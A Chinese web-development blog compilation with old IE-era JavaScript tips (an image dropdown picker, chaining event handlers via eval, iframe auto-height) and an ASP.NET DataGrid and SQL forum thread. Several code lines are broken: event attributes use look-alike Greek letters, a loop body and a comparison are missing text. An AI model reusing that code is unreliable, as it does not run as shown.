第三,图片下拉列表框的滚动,要保证自动滚动到相应的图片出现在列表框的顶端:当手动滚动停止时,如果滚动条趋势是向下滚动,则自动继续向下滚动直至最近的图片在列表框的顶端,反之亦然。

例子中我们将所有供选图片命名为“0.gif”、“1.gif”……“9.gif”,并放在“head”目录下。下面我们以实际程序解决这些问题:

< !--建立表单-- >
  < form name="myform" method="post" action="" >请选择图片:
  < div id="imgBox" >< !--这里是图片下拉选择器的位置-- >< /div >
  < input name="myhead" type="text" id="myface" size="10" value="" >
  < /form>
  < script language="JavaScript" >
  < !--
  var imgWidth=64; //列表框中图片的宽度;
  var imgHeight=64; //列表框中图片的高度;
  var imgSrc="head/数字序号.gif"; //供选图片的路径。"数字序号"四字将在程序中替换为0,1,2...,不要手工更改为数字 ;
  var selectedNo=7; //默认选定的图片序号;
  var selecteSize=2; //下拉列表框中显示的图片数;

/* 以下把图片和层输出在"imgBox"的位置:
  我们用变量"isin"记录鼠标是否在该控件上;用CSS定义下拉列表框的滚动条,  "overflow-x:hidden;overflow-y:scroll;"指水平方向不滚动,竖直方面滚动;
  用for()循环依次把图片输出到下拉列表框。
  */
  var myHTML='< SPAN οnmοuseοver="isin=true" οnmοuseοut="isin=false">';
  myHTML+='< table width="1" οnclick="showlist(this)" title="选择提示框" border="0" cellspacing="0" cellpadding="0" >< tr >< td >< img name="imgselected" border=1 src="'+imgSrc.replace("数字序号",selectedNo)+'" WIDTH='+(imgWidth)+' HEIGHT='+imgHeight+' >< /td >< td valign=top >< img src="menu.gif" >< /td >< /tr >< /table >';
  myHTML+='< DIV οnscrοll="scrollud()" id="imgBox" /n';
  myHTML+='style="position:absolute;left=-800;top=0;background-color:#FFFFFF;border: 1px solid #000000;overflow-x:hidden;overflow-y:scroll; width:'+(imgWidth+20)+'px; height: '+imgHeight*selecteSize+'px" >';
  for(i=0;i<10;i++){
  myHTML+="
";
  }
  myHTML+= "< /DIV >< /SPAN >";
  imgBox.outerHTML=myHTML;

/* 以下控制下拉列表框的出现或隐藏 */
  function showlist(obj){//这个函数将在选择提示框点击时激活
  //如果列表框已经出现,这次点击则隐藏:
  if(imgBox.style.pixelLeft!=-800){imgBox.style.pixelLeft=-800; return;}

//读取选择提示框在窗体中的绝对位置:
  //在父容器中的相对位置:
  var mytop=obj.offsetTop;
  var myleft=obj.offsetLeft;
  //依次读取父容器在更高一级父容器中的相对位置:
  while(obj=obj.offsetParent){
  myleft+=obj.offsetLeft;
  mytop+=obj.offsetTop;
  }
  //现在已经得到选择提示框的绝对位置myleft和mytop。
  //下拉列表拉就出现在这个绝对位置的正下方:
  imgBox.style.left=myleft;
  imgBox.style.top=mytop+imgHeight+2;

}

var isin=false;
  function selectme(obj){ //这个函数将在窗体点击或选定图片时激活,窗体点击中传递的参数是null。
  if(!isin||obj){imgBox.style.pixelLeft=-800;} //隐藏列表框
  if(obj){
  //改变选择提示框中的图片和"myhead"输入框中的值:
  //listID是对象的自定义属性,即在对象的标签中定义了这个属性值,现在就可以读取或改变。
  myform.myhead.value=imgSrc.replace("数字序号",obj.listID);
  document.images["imgselected"].src=imgSrc.replace("数字序号",obj.listID);
  }
  }

/* 以下控制下拉列表框的自动滚动 */
  var mytime=setTimeout("",0);
  var pre_X=0; //这个变量用来记录滚动前滚动条的位置
  function scrollud(){ //本函数在下拉列表框滚动时被激活
  var current_X=imgBox.scrollTop; //记录函数激活时滚动条的位置
  //判断向上还是向下滚动,并自动滚动到"imgHeight"的整数倍。
  //我们改变列表框的scrollTop值时,会自动激发其onscroll事件,循环激活本函数。
  if(current_X>pre_X && imgBox.scrollTop< Math.ceil(imgBox.scrollTop/imgHeight)*imgHeight){
  clearTimeout(mytime);
  mytime=setTimeout("imgBox.scrollTop=Math.round(imgBox.scrollTop+1);",1);
  }
  else if(current_X Math.floor(imgBox.scrollTop/imgHeight)*imgHeight){
  clearTimeout(mytime);
  mytime=setTimeout("imgBox.scrollTop=Math.round(imgBox.scrollTop-1);",1);
  }
  pre_X=current_X;
  }
  //使列表框自动滚动到默认选定的图片位置,并给"myhead"输入框以默认值
  function init(){ //本函数在每个列表框中的图片加载时激活
  imgBox.scrollTop=selectedNo*imgHeight;
  myform.myhead.value=imgSrc.replace("数字序号",selectedNo);
  }

/* 以下使窗体点击时selectme(obj)函数被激活: */
  myActivation="selectme(null)";
  if(document.body.onclick)
  {
  eval(document.body.onclick.toString().replace('anonymous()','bodyclick()'));
  document.body.οnclick=new Function("bodyclick();"+myActivation);
  }
  else document.body.οnclick=new Function(myActivation);
  -- >
  < /script>

程序最后“使窗体点击时selectme(obj)函数被激活”部分可以用document.body.οnclick=new Function("selectme(null)")简单替换之。但为了不和其它程序的窗体点击事件冲突,我们用了这段代码。详见拙作《完美解决一个事件激活多个函数》。你也可以将"myhead" 的type值设为"hide",这里为了演示,就将它显示了出来。

好了,这个控件“图片下拉选择器”已经做好了,把它应用到留言本、论坛等动态交互的网页上,真是最好不过了!

一个事件激活多个JavaScript函数
--------------------------------------------------------------------------------
http://tech.tom.com  2003年01月15日来源:太平洋电脑网暖阳
来自:
http://tech.tom.com/Archive/1380/1384/2003/1/21-54389.html
如果你的网页中一个“OnLoad”事件要激活两个以上的JavaScript函数,那怎么办呢?小阳曾查阅了不少资料,结果都不尽如人意,无非是程序员根据情况,把要激活的函数统一放在一个函数里激活。
但作为一个程序员,编写的代码的适用性是很重要的。请看下面一个例子:

< BODY OnLoad='alert("这是标签调用的函数")'>
  < script language="JavaScript">
  function myfunction(){
  alert("这是JS脚本调用的函数");
  }
  document.body.οnlοad=myfunction;
  < /script>
  < /BODY>

运行后你会发现,它只跳出一个“这是JS脚本调用的函数”的警告框。< BODY>标签中要求激活的函数被“忽略”了。当然你可以运用前面提过的方法,把两个函数放一个函数里激活。但这样有不少弊端,特别是如果把这段JavaScript代码写成一个"myjs.js"文件,要用它的话直接加上< script language="JavaScript" src="myjs.js">< /script>即可,但如果还要在引用文件的页面中根据情况修改标签或者添加一段代码,多麻烦呀。这就降低了代码的适用性了。

可不可以在编写JavaScript代码时就设计好,如果前面OnLoad事件已经有函数要激活,让它仍然激活前面的函数,但同时也激活本段代码所需要的函数?答案是肯定的。我们先看下这段代码:

< BODY OnLoad='alert("这是< BODY>标签调用的函数")'>
  < script language="JavaScript">
  // document.body.onload是函数(function)型,用toString()函数转为字符串(string)型:
  alert(document.body.onload.toString());
  < /script>
  < /BODY>

运行后其中一个警告框中提示:

function anonymous()
  {
  alert("这是标签调用的函数")
  }

发现什么了吗?“document.body.onload.toString()”就是上面这段函数代码!我们这段字符串作为代码的一部分运行,那么我们就多了一个函数“anonymous()”,于是将这个函数和我们现在需要激活的函数一起激活就行了!

下面我们以第一次提到的代码为例进行修改,得到最终代码:

< BODY OnLoad='alert("这是标签调用的函数")'>
  < script language="JavaScript">
  function myfunction(){
  alert("这是JS脚本调用的函数");
  }
  //现在我们要激活的函数是“myfunction()”,原来要激活的函数是标签里的“alert()”,
  //下面这段代码可以两个一起激活:
  myActive="myfunction()";
  if(document.body.onload.toString())
  {
  eval(document.body.onload.toString().replace('anonymous()','bodyload()'));
  document.body.οnlοad=new Function("bodyload();"+myActive);
  }
  else document.body.οnlοad=new Function(myActive);
  < /script>
  < /BODY>

上段代码中,变量myActive是JS代码中要激活的函数,eval(string)函数是把其字符串参数当作是JavaScript脚本来运行。我们把document.body.onload.toString()中的“anonymous()”替换为“bodyload()”,得到一个新函数“bodyload()”,它包含了所有原来要激活的函数,再把函数“bodyload()”和我们要激活的函数一起在OnLoad事件中激活。

为什么要把“anonymous()”替换为“bodyload()”呢?因为这个方法适用于所有事件(例如OnMouseOver),而所有事件toString()都是得到“anonymous()”,为了不和其它事件也用了这个方法冲突,我们把它替换掉。在其它事件中也依此替换即可。

好了,我们运行一下最终代码,如你所愿地两个函数都激活了吧?添加的代码也挺简单,有挺强的适用性。


使内嵌的iframe自动适应嵌入页内容的高度实现无缝嵌入!
方法一、用JS这样(测试通过)

a.html

加在页面最后 
<script language="Javascript">
function doIt()
{
parent.document.all.yibo.style.height=document.body.scrollHeight;
}

οnlοad=doIt

</script>


--b.html--

<iframe name="yibo"  scrolling="no" frameborder="0" src="a.html"" marginwidth="0" marginheight="0" width=100%>


方法二、(我没测试通过得有人说可以,可能与浏览器有关)
--main.htm--

<td id="iid"> 
<iframe src="list.htm name="mn" scrolling="no" border="0" frameborder="0" height="100%"></iframe>
</td>


--list.htm--

<body οnlοad="parent.document.all.idd.height=document.body.scrollHeight">


方法三、
function resize() {
   if (parent)
   {
      i = parent.document.getElementById(window.name);
      iHeight = document.body.scrollHeight
      i.style.height = iHeight;
   }
}

然后
<body οnlοad="resize()">

方法四、从父窗口中让iframe响应被嵌网页的高度


把这段代码放在iframe的页中

'content'是iframe的名字


function frame_resize()
{
   if(document.readyState=="complete")
   {
      if (typeof(parent.document.all['content']) != "undefined" && document.body.scrollHeight > 400)
      {
         setTimeout("parent.document.all['content'].style.pixelHeight=document.body.scrollHeight;",200);
      }
   }
}


注:
父窗口取得iframe中页面的高度:

<iframe id="a1" src=""></iframe>
<iframe id="a2" src="
http://www.sina.com.cn"></iframe>

<script>
alert(a1.document.body.offsetHeight);
alert(a2.document.body.offsetHeight);
</script>


方法五、自已做的测试,还没成功

a.htm
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>无标题文档</title>
</head>

<body>
<iframe  id="content"  src="c.html" align="middle" frameborder="0" height="300" hspace="0" marginheight="0" marginwidth="0" scrolling="no" vspace="0" width="300"></iframe>
</body>
</html>
<script language="javascript">
function resize()
{
//   document.content.width=document.content.document.innerHTMLwidth;
   document.all["content"].width=document.body.scrollwidth;

//   document.content.height=document.content.document.innerHTMLheight;
   document.all["content"].height=document.body.scrollHeight;
}
οnlοad=resize

</script>


c.htm
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>无标题文档</title>

</head>

<body>
<p>  针对近日Windows NT/2000源代码泄漏引发的全球下载狂潮,微软公司今天警告那些拥有泄漏出来的源代码的社区论坛尽快撤掉泄漏的源代码相关内容。 </p>
<p>  在当地时间星期二确认了Windows NT 4.0、Windows 2000源代码泄漏事故后,微软随即立刻开展了自内而外的一些例行调查,并且已经向部分从网上下载了泄漏源代码的个人发出了法律通告。微软官方目前拒绝透露这份通告的详细内容,但是根据国外网站Bink.nu的一份报道显示,微软至少已经向一人发出了通告,通告非常明确地告诉他:你已经违反了版权法。 </p>
<p>  “未经授权的,对任何受微软保护的源代码的复制、发行,都是违反民法、刑法以及商业秘密法的行为。”Bink.nu引用了这个通告,“如果你下载了这份代码或把这份代码提供给更多人下载,你就侵犯了微软公司的权利,将可能遭到严厉的民事和刑事制裁。”这封通告要求那些拥有这份代码的个人立刻停止传播、立即销毁此代码,并告知微软公司代码的获取源头。 </p>
<p>  据Bink.nu的报道,已收到微软通告信的人此前曾下载过这份源代码,并将它放到P2P网络上,从而使得代码被自动共享。据收信人本人表示,微软是在一个频道中追踪到他的行迹并最终通过他的ISP(网络服务提供商)把通告信转到他手上的。 </p>
<p>  这封通告信还写道,“微软认为此次事件非常严峻,并将继续对参与散布其源代码的个人采取法律行动。我们希望得到你的配合。如果你需要与我们取得联系,请使用上面的地址。” </p>
<p>  微软发言人Tom Pilla证实了微软已经发出传播代码警告信的消息,“我们正在采取一切适当的法律手段来保护我们的知识产权”,但是他拒绝透露更多细节。另据法律专家表示,除了非法获得源代码者以外,其他已经下载了源代码的个人——尤其是开发人员,可能面临其他麻烦,因为私自查看Windows源代码的个人将可能被指控侵害商业秘密和软件专利权。 <br>
</p>
</body>
</html>


回答很多朋友在DataGrid等网格控件绑定字段做判断问题...
在输出记录的同时,判断记录条件做相应显示,在asp中很容易实现,但在.net中这个问题几乎很难.下面说说他的两种解决方法:(假设你有个字段为title,字段记录长度大于30时,截断和加上"..."),推荐第二中方法,思路比较清晰,而且很通用,用Sql语句实现,还有类型转换问题。。。

1.Sql语句实现:
string str_Sql="CASE WHEN len(title)>30 THEN left(title,30)+'...' ELSE title END as title form 数据库表"

2.直接在.net中实现:
在cs后台代码程序中编写截取30个字符函数
public string GetCharacter(string str_Value)
      {
         if (str_Value.Length>30)
         {
            return str_Value.Substring(0,30)+"....";
         }
         else
         {
            return str_Value;
         }
      }

在aspx文件调用它:

<%#  GetCharacter(DataBinder.Eval(Container.DataItem,"title").ToString()) %>

Sql语句中有
CASE WHEN len(title)>30 THEN left(title,30)+'...' ELSE content END as title form 数据库表

case是什么意思 select ? 没看过
Re:回答很多朋友在DataGrid等网格控件绑定字段做判断问题...
条件语句,看下sql server帮助...

Re:回答很多朋友在DataGrid等网格控件绑定字段做判断问题...
厉害!
不过我觉得SQL写的时候应该没有这么麻烦,在ORACLE中用SUBSTR这个函数就可以了
select substr('字段名',0,30) from table
就直接可以取前30位的字符,对于双字节的也同样适用,如果字段不足30位,它自己会用空格填充的,
这样数据库的压力比较小,效率也就高很多了!

Re:回答很多朋友在DataGrid等网格控件绑定字段做判断问题...
是的,我知道这个是条件语句,而且也用过的,但是当时测试的时候,条件语句的速度是远低于函数的速度的!还要考虑效率吧!^_^

刚才查了一下,好像SQL SERVER 中没有这样的函数,看来也只能写条件语句了!

Re:回答很多朋友在DataGrid等网格控件绑定字段做判断问题...
string str_Sql="CASE WHEN len(title)>30 THEN left(title,30)+'...' ELSE content END as title form 数据库表"
len() 函数类型为char或者nvarchar或者varchar类型,当字段为text类型时,必须转换成字符类型,但别忘了,text类型只有16位字节,也就是保存的是字段的内存地址,指针,所以用了,convert(char,字段)得到是内存地址,而不是实实在在的记录...

不好意思,我说的是在ORACLE数据库中的情况,在SQL SERVER中我没有做过测试!
在ORACLE中一般就定义为VARCHAR2型就可以了!

Re:回答很多朋友在DataGrid等网格控件绑定字段做判断问题...
用模板列也可实现此功能,我想问的是如何更改显示出来字的颜色?如:列值为1时就显示红色1,为2时就显示蓝色的2?我以前发贴问过,但没人解决。

Re:回答很多朋友在DataGrid等网格控件绑定字段做判断问题...
这个是解决改变列的显示颜色!
在DataGrid的ItemDataBind事件里写
if((e.Item.Cells[6].Text)=="2")//假设性别字段在第6行
  e.Item.BackColor=Color.Blue;
if((e.Item.Cells[6].Text)=="1")
  e.Item.BackColor=Color.Red;

Re:回答很多朋友在DataGrid等网格控件绑定字段做判断问题...
sql用这个。
select substring(字段,0,3) from 表

Re:回答很多朋友在DataGrid等网格控件绑定字段做判断问题...
在aspx文件调用它: 

<%#  GetCharacter(DataBinder.Eval(Container.DataItem,"title").ToString()) %> 
我不知道为什么就是调不出来。

<%#  GetCharacter(DataBinder.Eval(Container.到这里就没了。

Re:回答很多朋友在DataGrid等网格控件绑定字段做判断问题...
当然,这个可是aspx页面啊。。。

Re:回答很多朋友在DataGrid等网格控件绑定字段做判断问题...
csl.cs代码

public string aaa(string str)
      {
         if(str.Length>3)
         {
            return str.Substring(0,30)+"...";
         }
         else
         {
            return str;
         }
      }
      public DataTable sy()
      {
         CmdString="select 价格 from 数据表";
         return SelectCommand().Tables[0];
      }

aspx.cs
private void Page_Load(object sender, System.EventArgs e)
      {
         if(!Page.IsPostBack)
         {
            see();
         }
      }

      private void see()
      {
         csl objData=new csl();
         dt1=objData.sy();
         DataGrid1.DataSource=dt1.DefaultView;
         DataGrid1.DataBind();
      }

      #region Web Form Designer generated code
      override protected void OnInit(EventArgs e)
      {
         //
         // CODEGEN:该调用是 ASP.NET Web 窗体设计器所必需的。
         //
         InitializeComponent();
         base.OnInit(e);
      }
      
      /// <summary>
      /// 设计器支持所需的方法 - 不要使用代码编辑器修改
      /// 此方法的内容。
      /// </summary>
      private void InitializeComponent()
      {    
         this.DataGrid1.UpdateCommand += new System.Web.UI.WebControls.DataGridCommandEventHandler(this.DataGrid1_UpdateCommand);
         this.DataGrid1.SelectedIndexChanged += new System.EventHandler(this.DataGrid1_SelectedIndexChanged);
         this.Load += new System.EventHandler(this.Page_Load);

      }
      #endregion

      private void DataGrid1_SelectedIndexChanged(object sender, System.EventArgs e)
      {
         
      }

      private void DataGrid1_UpdateCommand(object source, System.Web.UI.WebControls.DataGridCommandEventArgs e)
      {
         csl objData=new csl();
      }
现在可以显示数据了。可是怎么应用你的方法阿。

你直接把该函数放在aspx.cs文件就可以啊
然后aspx.aspx这样调用:<%#  GetCharacter(DataBinder.Eval(Container.DataItem,"title").ToString()) %> 
上面说得很明白。。。

Re:回答很多朋友在DataGrid等网格控件绑定字段做判断问题...
方法是多种的,
通过传递0或1,编写一个返回string的函数,返回空字符串,或者<img src=...>

Re:回答很多朋友在DataGrid等网格控件绑定字段做判断问题...
<%#  GetCharacter(DataBinder.Eval(Container.DataItem,"Title").ToString())%>
这句话应该放在datagrid里面的什么地方呢?我还没有搞懂,5555555555555
下面是我datagrid中的一个绑定列,我该放在那里呢?
<Columns>
<asp:BoundColumn DataField="Title" HeaderText="报送时间">
</asp:BoundColumn>
</Columns>
请大侠告诉我应该把它放在那一处呢?不知道我有没有说清楚

Re:回答很多朋友在DataGrid等网格控件绑定字段做判断问题...
这是我的邦定列
<Columns>   
<asp:BoundColumn DataField="news_id" HeaderText="新闻ID"></asp:BoundColumn>
<asp:BoundColumn DataField="title" HeaderText="新闻标题"></asp:BoundColumn>
            </Columns>
---------------------------------------------
那<%#  GetCharacter(DataBinder.Eval(Container.DataItem,"title").ToString()) %>放在哪里呢

Re:回答很多朋友在DataGrid等网格控件绑定字段做判断问题...
看看俺的函数:也许对您有用,截取自定义长度字符串
public string CovertStr(string Str,int strLen) 

   int strTrueLen=Str.Length; 
   if(strTrueLen>=strLen) 
   { 
      return Str.Substring(0,strLen)+"..."; 
   } 
   else 
   { 
     return Str; 
   } 


小技巧:解决js文件嵌套到aspx文件中,经常出错方法
用记事本打开后,另存一次,不过要注意的是:底下编码类型请选择:unicode
这样就ok了,不会老出现烦人的错误。
注:该方法是小笨笨同学发现的。
我遇到乱码就老用这个方法

这个SQL如何写?
ManagerID是主管的ID

ID  Name ManagerID Result
1   aa    3         200
2   bb    1         300
3   cc    2         400
4   dd    1         500
选出Result比主管要大的Name
ID是当前的用户ID
它的主管ID是ManagerID 

Re:这个SQL如何写?
他的意思可能是ManagerID=3为主管id,ManagerID应该唯一.

Re:这个SQL如何写?
实现如下(结果是bb,cc,dd):
SELECT a.name
FROM table as a INNER JOIN
      dbo.table as b ON a.ManagerID = b.ID AND 
      a.Result > b.Result
你可以用视图做,下面是我用视图实现:
做视图,很容易思想:
CREATE VIEW dbo.v_table1
AS
SELECT dbo.table1.Name
FROM dbo.table1 INNER JOIN
      dbo.table1 table1_1 ON dbo.table1.ManagerID = table1_1.ID AND 
      dbo.table1.Result > table1_1.Result

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值